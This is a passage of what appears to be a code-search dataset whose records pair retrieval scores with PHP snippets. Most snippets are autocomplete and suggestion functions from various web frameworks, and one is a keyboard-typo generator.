array(\n 'data' => $string,\n 'op' => '~*',\n ),\n 'type_id' => tpps_load_cvterm('unit')->cvterm_id,\n ));\n\n foreach ($results as $row) {\n $matches[$row->value] = check_plain($row->value);\n }\n\n drupal_json_output($matches);\n}", "title": "" }, { "docid": "cec1e5d89a9ba66e38da19d98ef3ff2a", "score": "0.5205042", "text": "static function completion(array &$donnees)\r\n {\r\n // ici le code\r\n }", "title": "" }, { "docid": "cec1e5d89a9ba66e38da19d98ef3ff2a", "score": "0.5205042", "text": "static function completion(array &$donnees)\r\n {\r\n // ici le code\r\n }", "title": "" }, { "docid": "501d824f5191759e298e3d5bbae7bc34", "score": "0.5198748", "text": "public function suggestions()\n {\n $data = array();\n $data['potential_snack_suggestions'] = $this->Snack_Model->fetch_snack_list(\n array(\n 's.snack_purchase_type_id' => 3\n )); // end fetch_snack_list\n display_page('snack/suggestions',$data);\n }", "title": "" }, { "docid": "0a20e3577a53c6308f2829c17866c91e", "score": "0.519711", "text": "function suggest()\n\t{\n\t\t//allow parallel searchs to improve performance.\n\t\tsession_write_close();\n\t\t$suggestions = $this->Letter_out_model->get_search_suggestions($this->input->get('term'),100);\n\t\techo json_encode($suggestions);\n\t}", "title": "" }, { "docid": "436ea873be76f86e59356a57a99490bc", "score": "0.5195816", "text": "function common_invoice_autocomplete($tenant_id, $invoice, $paid = 0) {\n $ci = & get_instance();\n $ci->load->model('Class_Trainee_Model', 'classTraineeModel');\n $result = $ci->classTraineeModel->get_all_invoice($tenant_id, $invoice, $paid);\n $output = array();\n foreach ($result as $row) {\n $output[] = array(\n 'key' => $row->invoice_id,\n 'label' =>\n $row->enrolment_mode == 'SELF' ?\n $row->invoice_id . ' (Ind: ' . $row->first_name . ' ' . $row->last_name . ', Taxcode: ' . $row->tax_code . ')' :\n $row->invoice_id . ' (Com: ' . $row->company_name . ', Taxcode: ' . $row->comp_regist_num . ')',\n 'value' => $row->invoice_id,\n );\n }\n return $output;\n}", "title": "" }, { "docid": "aac412794151a8a0d0870168882d1e56", "score": "0.51929", "text": "public function addAutoCompletion(AutoCompletable $autoCompletable);", "title": "" }, { "docid": "3203c1e9d4987257cded8a48e6233e7c", "score": "0.51869345", "text": "function suggest()\n\t{\n\t\t$suggestions = $this->Giftcard->get_search_suggestions($this->input->post('q'),$this->input->post('limit'));\n\t\techo implode(\"\\n\",$suggestions);\n\t}", "title": "" }, { "docid": "1494574cd57d7db3b0d4d5be2cd280bf", "score": "0.5179419", "text": "function vocabulario_user_complete($course, $user, $mod, $vocabulario) {\n}", "title": "" }, { "docid": "f2c325eab8e70c1fb075c4e23c40c7b5", "score": "0.51762205", "text": "public function run()\n {\n $values = ['Unplayed','Started','Finished','Unfinishable'];\n\n foreach($values as $value){\n App\\Completion::create(['code' => strtolower($value), 'name' => $value]);\n }\n }", "title": "" }, { "docid": "2dc22f54a378fad60f90390579501b4e", "score": "0.5176121", "text": "function build_selection_dropdown() {\n\t$output = array();\n\t$output[] = array('id' => 'id', 'text' => RW_RECON_TBD);\n\treturn $output;\n }", "title": "" }, { "docid": "52c53b156717aa8f2c20cf7e382eed51", "score": "0.5155542", "text": "function suggest()\n\t{\n\t\t//allow parallel searchs to improve performance.\n\t\tsession_write_close();\n\t\t$suggestions = $this->Grades->get_search_suggestions($this->input->get('term'),100);\n\t\techo json_encode($suggestions);\n\t}", "title": "" }, { "docid": "c4b360dc29ddb88f4330eb0f3dc13b96", "score": "0.51526237", "text": "function autocompete(){\n echo json_encode($this->Articulo_model->get_autocomplete($this->input->get('search'), $this->input->get('number'), $this->input->get('category'), $this->input->get('vale_type')));\n }", "title": "" }, { "docid": "323f8531c3ff5c5fa8f528642a62cfea", "score": "0.5142808", "text": "public function AutoCompleteColaborador ($nome) {\n $this->db->from('colaborador');\n $this->db->like('nome_colab', $nome, 'both');\n return $this->db->get()->result();\n }", "title": "" }, { "docid": "a9e6b000108f52cad10529deb9eb4179", "score": "0.5132645", "text": "public function cloud_autocomplete() {\n if (!empty($_REQUEST['term'])) {\n $search_for = sanitize_text_field($_REQUEST['term']);\n \n $params = array(\n 'orb_cloud_lib_data' => array(\n 'cmd' => 'item.list',\n 'query' => $search_for,\n )\n );\n\n $req_res = $this->call($this->api_url, $params);\n wp_send_json($req_res->is_success() ? $req_res->data('result') : $req_res->to_array());\n }\n }", "title": "" }, { "docid": "a3a13fe89d2a6a21212486eec4865356", "score": "0.5130684", "text": "function suggest()\n\t{\n\t\t//allow parallel searchs to improve performance.\n\t\tsession_write_close();\n\t\t$suggestions = $this->Levels->get_search_suggestions($this->input->get('term'),100);\n\t\techo json_encode($suggestions);\n\t}", "title": "" }, { "docid": "b9c5ef023204fb3911dfa77212983275", "score": "0.51171464", "text": "function cextras_autoriser(){}", "title": "" }, { "docid": "99393a3c3911fccc04c778401d387ec2", "score": "0.5097289", "text": "public function autocompletado()\n {\n if (!$this->input->is_ajax_request()) {\n show_404();\n }\n $busqueda = $this->input->post('busqueda');\n $busqueda = (empty($busqueda)) ? '' : $busqueda;\n $ccliente = $this->session->userdata('s_ccliente');\n $ccliente = (empty($ccliente)) ? '00005' : $ccliente; // por defecto es 00005\n $resultado = $this->marea->autoCompletado($ccliente, $busqueda);\n echo json_encode([\"items\" => $resultado]);\n }", "title": "" }, { "docid": "7d0f249fb5e5fe4cb676de2a35e73fbf", "score": "0.50960535", "text": "public function suggest()\r\n\t{\r\n\t\t$locations=$this->Stock_location->get_location_name_session();\r\n\t\t$results=array();$default_id=$this->Stock_location->get_default_location_id();\r\n\t\tforeach ($locations as $loc_id => $loc_name) {\r\n\t\t\tif($default_id==$loc_id){continue;}\r\n\t\t\t$results[]=array('value'=>$loc_id,\"label\"=>$loc_name);\r\n\t\t}\r\n\r\n\t\t$suggestions = $this->xss_clean($results,TRUE);\r\n\t\techo json_encode($suggestions);\r\n\t}", "title": "" }, { "docid": "7dec43c97c357f89ffdb11a9f85b4774", "score": "0.50959885", "text": "function suggest()\n\t{\n\t\tsession_write_close();\n\t\t$suggestions = $this->Item->get_search_suggestions($this->input->get('term'),100);\n\t\techo json_encode($suggestions);\n\t}", "title": "" }, { "docid": "4295af74721975749bef88cfa8f70912", "score": "0.5080983", "text": "function project_autocomplete_activities($string = '') {\n $activities = array();\n $qargs = array('%' . strtolower($string) . '%');\n $sql = \"SELECT DISTINCT activity FROM {org_projactivities} WHERE LOWER(activity) LIKE '%s'\";\n //orgright_debug_msg('project','Autocomplete activities for: ' . $qargs[0]);\n //$result = db_query_range(db_rewrite_sql($sql, '{org_projactivities}', 'vid', $qargs), 0, 12);\n $result = db_query_range($sql, $qargs, 0, 12);\n while ($obj = db_fetch_object($result)) {\n $activities[$obj->activity] = $obj->activity;\n }\n //print drupal_to_js($activities);\n // requires php 5.2:\n drupal_json($activities);\n exit;\n}", "title": "" }, { "docid": "d1026f2ee09dfc5ba59c5b3511432cdc", "score": "0.5074771", "text": "public function advancedEditing();", "title": "" }, { "docid": "8533f4939ea7696af2912ba8d4a58902", "score": "0.5072349", "text": "abstract public function code();", "title": "" }, { "docid": "c5cdfebd39c93850ea7ad608878eb44a", "score": "0.50699794", "text": "function syntaxreader_getdescription () {}", "title": "" }, { "docid": "68e6cd01800d6ef5d1340a3d05169805", "score": "0.50679976", "text": "public function showAutocomplete()\n\t{\n\t\tif (Input::get('term'))\n\t\t{\n\t\t\t$term = Input::get('term');\n\n\t\t\tif (strlen($term)>512)\n\t\t\t{\n\t\t\t\t$term = substr($term, 0, 512);\n\t\t\t}\n\n\t\t\t$term = htmlentities (trim($term) , ENT_NOQUOTES);\n\t\t\t$term = str_replace(\"&amp;\", \"&\", $term);\n\n\t\t\t$searchObj = new Search();\n\t\t\t$theResults = $searchObj->getResults(strtolower($term));\n\t\t\t$cantResults = count($theResults['results']);\n\n\t\t\tif (count($cantResults)>0)\n\t\t\t{\n\t\t\t\t$return_array = array();\n\n\t\t\t\t$i=0;\n\n\t\t\t\tif ($cantResults>6)\n\t\t\t\t{\n\t\t\t\t\t$cantToShow = 6;\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\t$cantToShow = $cantResults;\n\t\t\t\t}\n\n\t\t\t\tfor($i=0;$i<$cantToShow;$i++)\n\t\t\t\t{\n\t\t\t\t\tif ($theResults['results'][$i]['media_type'] == 'movie')\n\t\t\t\t\t{\n\t\t\t\t\t\t$label = $theResults['results'][$i]['title'];\n\t\t\t\t\t\t$icon = $theResults['results'][$i]['poster_path'];\n\t\t\t\t\t\t$extra = substr($theResults['results'][$i]['release_date'], 0, 4);\n\t\t\t\t\t\t$link = url('/movie').'/'.$theResults['results'][$i]['id'];\n\t\t\t\t\t\t$type = '(Movie)';\n\t\t\t\t\t}\n\t\t\t\t\telse if ($theResults['results'][$i]['media_type'] == 'person')\n\t\t\t\t\t{\n\t\t\t\t\t\t$label = $theResults['results'][$i]['name'];\n\t\t\t\t\t\t$icon = $theResults['results'][$i]['profile_path'];\n\n\t\t\t\t\t\tif (count($theResults['results'][$i]['known_for'])>0)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$knowCant = count($theResults['results'][$i]['known_for']);\n\n\t\t\t\t\t\t\t$extra='';\n\n\t\t\t\t\t\t\tfor($k=0;$k<$knowCant;$k++)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$extra.=$theResults['results'][$i]['known_for'][$k]['original_title'];\n\n\t\t\t\t\t\t\t\tif ($k<($knowCant-1))\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t$extra.=', ';\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$extra = '';\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\t$link = url('/person').'/'.$theResults['results'][$i]['id'];\n\t\t\t\t\t\t$type = '(Person)';\n\t\t\t\t\t}\n\t\t\t\t\telse if ($theResults['results'][$i]['media_type'] == 'tv')\n\t\t\t\t\t{\n\t\t\t\t\t\t$label = $theResults['results'][$i]['name'];\n\t\t\t\t\t\t$icon = $theResults['results'][$i]['poster_path'];\n\t\t\t\t\t\t$extra = substr($theResults['results'][$i]['first_air_date'], 0, 4);\n\t\t\t\t\t\t$link = url('/tv').'/'.$theResults['results'][$i]['id'];\n\t\t\t\t\t\t$type = '(TV)';\n\t\t\t\t\t}\n\n\t\t\t\t\tif (empty($label))\n\t\t\t\t\t{\n\t\t\t\t\t\t$label = 'Not Info or Uncredited';\n\t\t\t\t\t}\n\n\t\t\t\t\tif (empty($icon))\n\t\t\t\t\t{\n\t\t\t\t\t\t$icon = 'https://assets.tmdb.org/assets/7f29bd8b3370c71dd379b0e8b570887c/images/no-poster-w185-v2.png';\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\t$icon = 'https://image.tmdb.org/t/p/w45/'.$icon;\n\t\t\t\t\t}\n\n\t\t\t\t\t$return_array[$i]['label'] = $label;\n\t\t\t\t\t$return_array[$i]['icon'] = $icon;\n\t\t\t\t\t$return_array[$i]['extra'] = $extra;\n\t\t\t\t\t$return_array[$i]['link'] = $link;\n\t\t\t\t\t$return_array[$i]['type'] = $type;\n\t\t\t\t}\n\n\t\t\t}\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$return_array = array();\n\t\t}\n\n\t\treturn Response::json($return_array);\n\t}", "title": "" }, { "docid": "ebec094737f85c2a41e2b4fa13e94206", "score": "0.5060386", "text": "function wp_auto_spinner_upper_case($line){\r\n\t\r\n\t\t\t$w_arr=explode('|',$line);\r\n\t\r\n\t\t\tfor( $i=0;$i< count($w_arr);$i++ ){\r\n\t\t\t\t$w_arr[$i] = $this->wp_auto_spinner_mb_ucfirst($w_arr[$i]) ;\r\n\t\t\t}\r\n\t\r\n\t\t\t$line=implode('|',\t$w_arr );\r\n\t\r\n\t\t\treturn $line;\r\n\t\r\n\t\r\n\t\t \r\n\t}", "title": "" }, { "docid": "aec70cc1b75afd655abdd686f9b1b0af", "score": "0.5056403", "text": "function autoCompleteFlag(){\n\t\t\t$pdo = new Connection();\n\n\t\t\t$sql = $pdo->prepare(\"Select idBandeira, bandeira From webcafe_modoperacional_bandeiras\");\n\n\t\t\t$sql->execute();\n\n\t\t\t$obj = $sql->fetchAll(PDO::FETCH_OBJ);\n\t \t\t\n\t\t\treturn $obj;\n\t\t}", "title": "" }, { "docid": "dc3d01890aa13fbc9e4f2211f04eea9b", "score": "0.5050092", "text": "function selections_editoriales_autoriser(){}", "title": "" }, { "docid": "7a24df4392be66e424480a027710fc2d", "score": "0.50474274", "text": "public function generate_exam_name($source)\n\t{\t\n\n\t}", "title": "" }, { "docid": "df827e381bd5fcd3a2f5e6615ae5087a", "score": "0.50447375", "text": "public static function frontendEditor();", "title": "" }, { "docid": "d7ad42ac8d8ee3801252a681e4b0223a", "score": "0.50426126", "text": "function initCode();", "title": "" }, { "docid": "5c1951a9ecfef6b6007658fe751d611d", "score": "0.5037211", "text": "function autosuggestfieldval5($file,$id,$valor,$idres,$nomeid,$nomeval,$all,$sizeofinput, $noteoninput) {\necho \"<table>\n<tr><td>\n<div class=\\\"search-wrap\\\">\n <input type='hidden' id=\\\"$nomeid\\\" name=\\\"$nomeid\\\" value=\\\"\".$nomeval.\"\\\" />\n <span style=\\\"color: ##900000 ; font-size: 0.6em\\\">\".$noteoninput.\"</span><br />\n <input size='\".$sizeofinput.\"px' type=\\\"text\\\" id=\\\"\".$id.\"\\\" name=\\\"\".$id.\"\\\" value=\\\"\".$valor.\"\\\" onclick=\\\"javascript:SelectAll('\".$id.\"');\\\" onkeyup=\\\"javascript:autosuggest('\".$id.\"','\".$idres.\"','\".$file.\"','\".$nomeid.\"',\".$all.\");\\\" autocomplete=\\\"off\\\" />\n <div id=\\\"\".$idres.\"\\\" class=\\\"results\\\"></div>\n</div>\n</td>\n</tr></table>\";\n//autocomplete=\\\"off\\\" \n}", "title": "" }, { "docid": "72d2f7cc528490cfd32b890b508e4009", "score": "0.5026146", "text": "public function suggest()\n\t{\n\t\t$suggestions = $this->xss_clean($this->Supplier->get_search_suggestions($this->input->get('term'), TRUE));\n\n\t\techo json_encode($suggestions);\n\t}", "title": "" }, { "docid": "1989cc5c997f83f57d9e946e4a1d7eb2", "score": "0.50256664", "text": "function typo_gen($word, $selected_methods = null)\r\n{\r\n\tglobal $typos;\r\n\t\r\n\tif ($selected_methods == null) \r\n\t{\r\n\t\tfor($i=0;$i<1000;$i++) $selected_methods[]=$i;\r\n\t}\r\n\t\t\t\r\n\tif (isset($typos[$word])) return 0;\r\n\t\t\r\n\t$general_replacements[100] = array(\r\n\t\t// mistakes\r\n\t\t'oo'=>'u',\r\n\t\t'ee'=>'i',\r\n\t\t'ou'=>'u',\r\n\t\t'ou'=>'oo',\r\n\t\t'ea'=>'i',\r\n\t\t'ck'=>'k',\r\n\t\t'ck'=>'c',\t\t\r\n\t\t'ai'=>'a',\r\n\t\t'a'=>'ei',\r\n\t\t'a'=>'o',\r\n\t\t'a'=>'e',\r\n\t\t'e'=>'a',\r\n\t\t'e'=>'o',\r\n\t\t'o'=>'e',\r\n\t\t'o'=>'a',\t\t\r\n\t\t'v'=>'f',\t\t\r\n\t\t'f'=>'v',\t\t\r\n\t\t'w'=>'v',\t\t\r\n\t\t'v'=>'w',\r\n\t\t'g'=>'j',\r\n\t\t'j'=>'g',\r\n\t\t'c'=>'ck',\r\n\t\t'c'=>'k',\r\n\t\t'c'=>'s',\r\n\t\t's'=>'c',\r\n\t\t'ua'=>'a',\t\t\t\t\r\n\t\t'ei'=>'i',\r\n\t\t'eu'=>'e',\r\n\t\t'au'=>'ou'\r\n\t\t);\r\n\t\t\r\n\t$general_replacements[101] = array(\r\n\t\t// forward qwerty slips\r\n\t\t'qw'=>'we',\r\n\t\t'we'=>'er',\r\n\t\t'we'=>'qw',\r\n\t\t'er'=>'rt',\r\n\t\t'er'=>'we',\r\n\t\t'rt'=>'ty',\r\n\t\t'rt'=>'er',\r\n\t\t'ty'=>'yu',\r\n\t\t'ty'=>'rt',\r\n\t\t'yu'=>'ui',\r\n\t\t'yu'=>'ty',\r\n\t\t'ui'=>'io',\r\n\t\t'ui'=>'yu',\r\n\t\t'io'=>'op',\r\n\t\t'io'=>'ui',\r\n\t\t'op'=>'io',\r\n\t\t'as'=>'sd',\r\n\t\t'sd'=>'as',\r\n\t\t'sd'=>'df',\r\n\t\t'df'=>'sd',\r\n\t\t'df'=>'fg',\r\n\t\t'fg'=>'df',\r\n\t\t'fg'=>'gh',\r\n\t\t'gh'=>'fg',\r\n\t\t'gh'=>'hj',\r\n\t\t'hj'=>'gh',\r\n\t\t'hj'=>'jk',\r\n\t\t'jk'=>'hj',\r\n\t\t'jk'=>'kl',\r\n\t\t'kl'=>'jk',\r\n\t\t'zx'=>'xc',\r\n\t\t'xc'=>'zx',\r\n\t\t'xc'=>'cv',\r\n\t\t'cv'=>'xc',\r\n\t\t'cv'=>'vb',\r\n\t\t'vb'=>'cv',\r\n\t\t'vb'=>'bn',\r\n\t\t'bn'=>'vb',\r\n\t\t'bn'=>'nm',\r\n\t\t'nm'=>'bn');\r\n\t\t\r\n\t$general_replacements[102] = array(\r\n\t\t//backward qwerty slips\r\n\t\t'po'=>'oi',\r\n\t\t'oi'=>'po',\r\n\t\t'oi'=>'iu',\r\n\t\t'iu'=>'oi',\r\n\t\t'iu'=>'uy',\r\n\t\t'uy'=>'iu',\r\n\t\t'uy'=>'yt',\r\n\t\t'yt'=>'uy',\r\n\t\t'yt'=>'tr',\r\n\t\t'tr'=>'yt',\r\n\t\t'tr'=>'re',\r\n\t\t're'=>'tr',\r\n\t\t're'=>'ew',\r\n\t\t'ew'=>'re',\r\n\t\t'ew'=>'wq',\r\n\t\t'wq'=>'ew',\r\n\t\t'lk'=>'kj',\r\n\t\t'kj'=>'jh',\r\n\t\t'kj'=>'lk',\r\n\t\t'jh'=>'kj',\r\n\t\t'jh'=>'hg',\r\n\t\t'hg'=>'jh',\r\n\t\t'hg'=>'gf',\r\n\t\t'gf'=>'hg',\r\n\t\t'gf'=>'fd',\r\n\t\t'fd'=>'gf',\r\n\t\t'fd'=>'ds',\r\n\t\t'ds'=>'fd',\r\n\t\t'ds'=>'sa',\r\n\t\t'sa'=>'ds',\r\n\t\t'mn'=>'nb',\r\n\t\t'nb'=>'mn',\r\n\t\t'nb'=>'bv',\r\n\t\t'bv'=>'nb',\r\n\t\t'bv'=>'vc',\r\n\t\t'vc'=>'bv',\r\n\t\t'vb'=>'cx',\r\n\t\t'cx'=>'vc',\r\n\t\t'cx'=>'xz',\r\n\t\t'xz'=>'cx');\t\r\n\t\t\r\n\t$general_replacements[103] = array(\r\n\t\t//1 letter qwerty slips\t\t\r\n\t\t'q'=>'w',\r\n\t\t'w'=>'q',\r\n\t\t'w'=>'e',\r\n\t\t'e'=>'w',\r\n\t\t'e'=>'r',\r\n\t\t'r'=>'e',\r\n\t\t'r'=>'t',\r\n\t\t't'=>'r',\r\n\t\t't'=>'y',\r\n\t\t'y'=>'t',\r\n\t\t'y'=>'u',\r\n\t\t'u'=>'y',\r\n\t\t'u'=>'i',\r\n\t\t'i'=>'u',\r\n\t\t'i'=>'o',\r\n\t\t'o'=>'i',\r\n\t\t'o'=>'p',\r\n\t\t'p'=>'o',\r\n\t\t'a'=>'s',\t\t\r\n\t\t's'=>'a',\r\n\t\t's'=>'d',\r\n\t\t'd'=>'s',\r\n\t\t'd'=>'f',\r\n\t\t'f'=>'d',\r\n\t\t'f'=>'g',\r\n\t\t'g'=>'f',\r\n\t\t'g'=>'h',\r\n\t\t'h'=>'g',\r\n\t\t'h'=>'j',\r\n\t\t'j'=>'h',\r\n\t\t'j'=>'k',\r\n\t\t'k'=>'j',\r\n\t\t'k'=>'l',\r\n\t\t'l'=>'k',\r\n\t\t'z'=>'x',\r\n\t\t'x'=>'z',\r\n\t\t'x'=>'c',\r\n\t\t'c'=>'x',\r\n\t\t'c'=>'v',\r\n\t\t'v'=>'c',\r\n\t\t'v'=>'b',\r\n\t\t'b'=>'v',\r\n\t\t'b'=>'n',\r\n\t\t'n'=>'b',\r\n\t\t'n'=>'m',\r\n\t\t'm'=>'n');\r\n\t\t\r\n\t$general_replacements[104] = array(\r\n\t\t// additional letter\r\n\t\t'q'=>'qw',\r\n\t\t'q'=>'wq',\r\n\t\t'w'=>'wq',\r\n\t\t'w'=>'we',\r\n\t\t'w'=>'ew',\r\n\t\t'w'=>'qw',\r\n\t\t'e'=>'we',\r\n\t\t'e'=>'ew',\r\n\t\t'e'=>'er',\r\n\t\t'e'=>'re',\r\n\t\t'r'=>'er',\r\n\t\t'r'=>'re',\r\n\t\t'r'=>'rt',\r\n\t\t'r'=>'tr',\r\n\t\t't'=>'rt',\r\n\t\t't'=>'tr',\r\n\t\t't'=>'ty',\r\n\t\t't'=>'yt',\r\n\t\t'y'=>'ty',\r\n\t\t'y'=>'yt',\r\n\t\t'y'=>'yu',\r\n\t\t'y'=>'uy',\r\n\t\t'u'=>'yu',\r\n\t\t'u'=>'uy',\r\n\t\t'u'=>'ui',\r\n\t\t'u'=>'iu',\r\n\t\t'i'=>'ui',\r\n\t\t'i'=>'iu',\r\n\t\t'i'=>'io',\r\n\t\t'i'=>'oi',\r\n\t\t'o'=>'io',\r\n\t\t'o'=>'oi',\r\n\t\t'o'=>'op',\r\n\t\t'o'=>'po',\r\n\t\t'p'=>'po',\r\n\t\t'p'=>'op',\t\t\r\n\t\t'a'=>'as',\r\n\t\t'a'=>'sa',\r\n\t\t's'=>'sa',\r\n\t\t's'=>'as',\r\n\t\t's'=>'ds',\r\n\t\t's'=>'sd',\r\n\t\t'd'=>'ds',\r\n\t\t'd'=>'sd',\r\n\t\t'd'=>'df',\r\n\t\t'd'=>'fd',\r\n\t\t'f'=>'df',\r\n\t\t'f'=>'fd',\r\n\t\t'f'=>'fg',\r\n\t\t'f'=>'gf',\t\t\r\n\t\t'g'=>'fg',\r\n\t\t'g'=>'gf',\r\n\t\t'g'=>'gh',\r\n\t\t'g'=>'hg',\r\n\t\t'h'=>'gh',\r\n\t\t'h'=>'hg',\r\n\t\t'h'=>'hj',\r\n\t\t'h'=>'jh',\r\n\t\t'j'=>'jh',\r\n\t\t'j'=>'hj',\r\n\t\t'j'=>'jk',\r\n\t\t'j'=>'kj',\r\n\t\t'k'=>'jk',\r\n\t\t'k'=>'kj',\r\n\t\t'k'=>'kl',\r\n\t\t'k'=>'lk',\r\n\t\t'l'=>'kl',\r\n\t\t'l'=>'lk',\t\t\r\n\t\t'z'=>'zx',\t\t\r\n\t\t'z'=>'xz',\r\n\t\t'x'=>'zx',\r\n\t\t'x'=>'xz',\r\n\t\t'x'=>'xc',\r\n\t\t'x'=>'cx',\r\n\t\t'c'=>'xc',\r\n\t\t'c'=>'cx',\r\n\t\t'c'=>'cv',\r\n\t\t'c'=>'vc',\r\n\t\t'v'=>'vc',\r\n\t\t'v'=>'cv',\r\n\t\t'v'=>'vb',\r\n\t\t'v'=>'bv',\r\n\t\t'b'=>'bv',\r\n\t\t'b'=>'vb',\r\n\t\t'b'=>'nb',\r\n\t\t'b'=>'bn',\r\n\t\t'n'=>'nb',\r\n\t\t'n'=>'bn',\r\n\t\t'n'=>'nm',\r\n\t\t'n'=>'mn',\r\n\t\t'm'=>'nm',\r\n\t\t'm'=>'mn');\r\n\t\t\r\n\t$general_replacements[105] = array(\r\n\t\t// vertical qwerty slip\r\n\t\t'b'=>'h');\r\n\t\r\n\t\r\n\t// 1. general replacements\r\n\tforeach($general_replacements as $method=>$general_replacement)\r\n\t{\r\n\t\tif (in_array($method, $selected_methods))\r\n\t\t{\r\n\t\t\tforeach($general_replacement as $needle=>$rep)\r\n\t\t\t{\r\n\t\t\t\t$typo = str_replace($needle, $rep, $word, $count);\t\r\n\t\t\t\tif ($count == 1)\t$typos[$word][] = $typo;\r\n\t\t\t\telse if ($count > 1)\r\n\t\t\t\t{\r\n\t\t\t\t\t$letters = str_split($word);\t\r\n\t\t\t\t\t$letter_c = 0;\r\n\t\t\t\t\tforeach($letters as $letter)\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\tif ($letter == $needle)\r\n\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\t$letters[$letter_c] = $rep;\r\n\t\t\t\t\t\t\t$typos[$word][] = implode('',$letters);\r\n\t\t\t\t\t\t\t$letters[$letter_c] = $needle;\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\t$letter_c++;\r\n\t\t\t\t\t}\r\n\t\t\t\t\t$typo = str_replace($needle, $rep, $word, $count);\t\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}\t\r\n\t// 2. google -> goole\r\n\tif (in_array(2, $selected_methods))\r\n\t{\r\n\t\t$letters = str_split($word);\r\n\t\t$letter_c = 0;\r\n\t\tforeach($letters as $letter)\r\n\t\t{\r\n\t\t\t$letters[$letter_c] = '';\r\n\t\t\t$typo = implode('',$letters);\r\n\t\t\tif (strlen($typo) > 3) $typos[$word][] = $typo;\r\n\t\t\t$letters[$letter_c] = $letter;\t\t\r\n\t\t\t$letter_c++;\r\n\t\t}\r\n\t}\r\n\t// 3. google -> goolge\r\n\tif (in_array(3, $selected_methods))\r\n\t{\r\n\t\t$letters = str_split($word);\r\n\t\t$letter_c = 0;\r\n\t\tforeach($letters as $letter)\r\n\t\t{\r\n\t\t\tif ($letter_c > 0)\r\n\t\t\t{\r\n\t\t\t\t$prev_letter = $letters[$letter_c-1];\r\n\t\t\t\t$letters[$letter_c-1] = $letter;\r\n\t\t\t\t$letters[$letter_c] = $prev_letter;\r\n\t\t\t\t$typos[$word][] = implode('',$letters);\t\t\t\r\n\t\t\t\t$letters[$letter_c-1] = $prev_letter;\t\t\r\n\t\t\t\t$letters[$letter_c] = $letter;\t\t\t\t\r\n\t\t\t}\r\n\t\t\t$letter_c++;\r\n\t\t}\r\n\t}\r\n\t// 4. abc -> cba (swap over 1 letter)\r\n\tif (in_array(4, $selected_methods))\r\n\t{\r\n\t\t$letters = str_split($word);\r\n\t\t$letter_c = 0;\r\n\t\tforeach($letters as $letter)\r\n\t\t{\r\n\t\t\tif ($letter_c > 1)\r\n\t\t\t{\r\n\t\t\t\t$prev_letter = $letters[$letter_c-2];\r\n\t\t\t\t$letters[$letter_c-2] = $letter;\r\n\t\t\t\t$letters[$letter_c] = $prev_letter;\r\n\t\t\t\t$typos[$word][] = implode('',$letters);\t\t\t\r\n\t\t\t\t$letters[$letter_c-2] = $prev_letter;\t\t\r\n\t\t\t\t$letters[$letter_c] = $letter;\t\t\t\t\r\n\t\t\t}\r\n\t\t\t$letter_c++;\r\n\t\t}\r\n\t}\r\n\t// 5. google -> gooolge \r\n\t// 6. google -> gogle\r\n\t// 7. google -> ggogle\r\n\t// 8. google -> goggle\r\n\t$letters = str_split($word);\r\n\t$letter_c = 0;\r\n\tforeach($letters as $letter)\r\n\t{\r\n\t\tif ($letter_c > 0)\r\n\t\t{\r\n\t\t\t$prev_letter = $letters[$letter_c-1];\r\n\t\t\tif ($prev_letter == $letter)\r\n\t\t\t{\r\n\t\t\t\tif (in_array(5, $selected_methods)) $typos[$word][] = str_replace($letter.$letter, $letter.$letter.$letter, $word); // 5\r\n\t\t\t\tif (in_array(6, $selected_methods)) $typos[$word][] = str_replace($letter.$letter, $letter, $word); // 6\r\n\t\t\t\tif (in_array(7, $selected_methods)) if ($letter_c>1) $typos[$word][] = str_replace($letters[$letter_c-2].$letter.$letter, $letters[$letter_c-2].$letters[$letter_c-2].$letter, $word); // 7\r\n\t\t\t\tif (in_array(8, $selected_methods)) if (isset($letters[$letter_c+1])) $typos[$word][] = str_replace($letter.$letter.$letters[$letter_c+1], $letter.$letters[$letter_c+1].$letters[$letter_c+1], $word); // 8\r\n\t\t\t}\t\t\t\t\t\r\n\t\t}\r\n\t\t$letter_c++;\r\n\t}\r\n\t// 9. wwwgoogle.com\r\n\tif (in_array(9, $selected_methods)) $typos[$word][] = \"www\".$word;\r\n\t\t\t\r\n\t// x. oo -> ooo\r\n\t//$typo = preg_replace('/([a-z0-9])\\1+/','$1$1$1',$word);\r\n\t//if ($typo != $word) $typos[$word][] = $typo;\t\r\n\t\r\n\t\r\n\t\r\n\treturn 1;\r\n}", "title": "" }, { "docid": "62f76dff6b8f87b93ea2ad0b09d66a6d", "score": "0.5022115", "text": "function editor_script() {\n?>\n\n\t<script type=\"text/javascript\">\n\t\tjQuery.map( fieldSettings, function ( el, i ) {\n\t\t\tfieldSettings[ i ] += ', .autocomplete_attr_setting';\n\t\t} );\n\n\t\t// Populate field settings on initialization.\n\t\tjQuery( document ).on( 'gform_load_field_settings', function( ev, field ) {\n\t\t\tvar opt = document.querySelector( '#field_autocomplete_attr option[value=\"' + field.autocompleteAttr + '\"]' );\n\n\t\t\tif ( opt ) {\n\t\t\t\topt.setAttribute( 'selected', true );\n\t\t\t}\n\t\t} );\n\t</script>\n\n<?php\n}", "title": "" }, { "docid": "000a741ae2e6a64559a89b2152f19b9a", "score": "0.5015794", "text": "function suggest() {\n\t\t\t//allow parallel searchs to improve performance.\n\t\t\tsession_write_close();\n\t\t\t$params = $this->session->userdata('expenses_search_data') ? $this->session->userdata('expenses_search_data') : array('deleted' => 0);\n\t\t\t$suggestions = $this->Expense->get_search_suggestions($this->input->get('term'),$params['deleted'], 100);\n\t\t\techo json_encode(H($suggestions));\n }", "title": "" }, { "docid": "f61fe6ef9dcdb9189033cf63f679a1ac", "score": "0.5011143", "text": "function culturefeed_search_ui_city_suggestion_autocomplete_page($search_string, $include_regions = TRUE) {\n\n $matches = array();\n\n if ($search_string) {\n\n 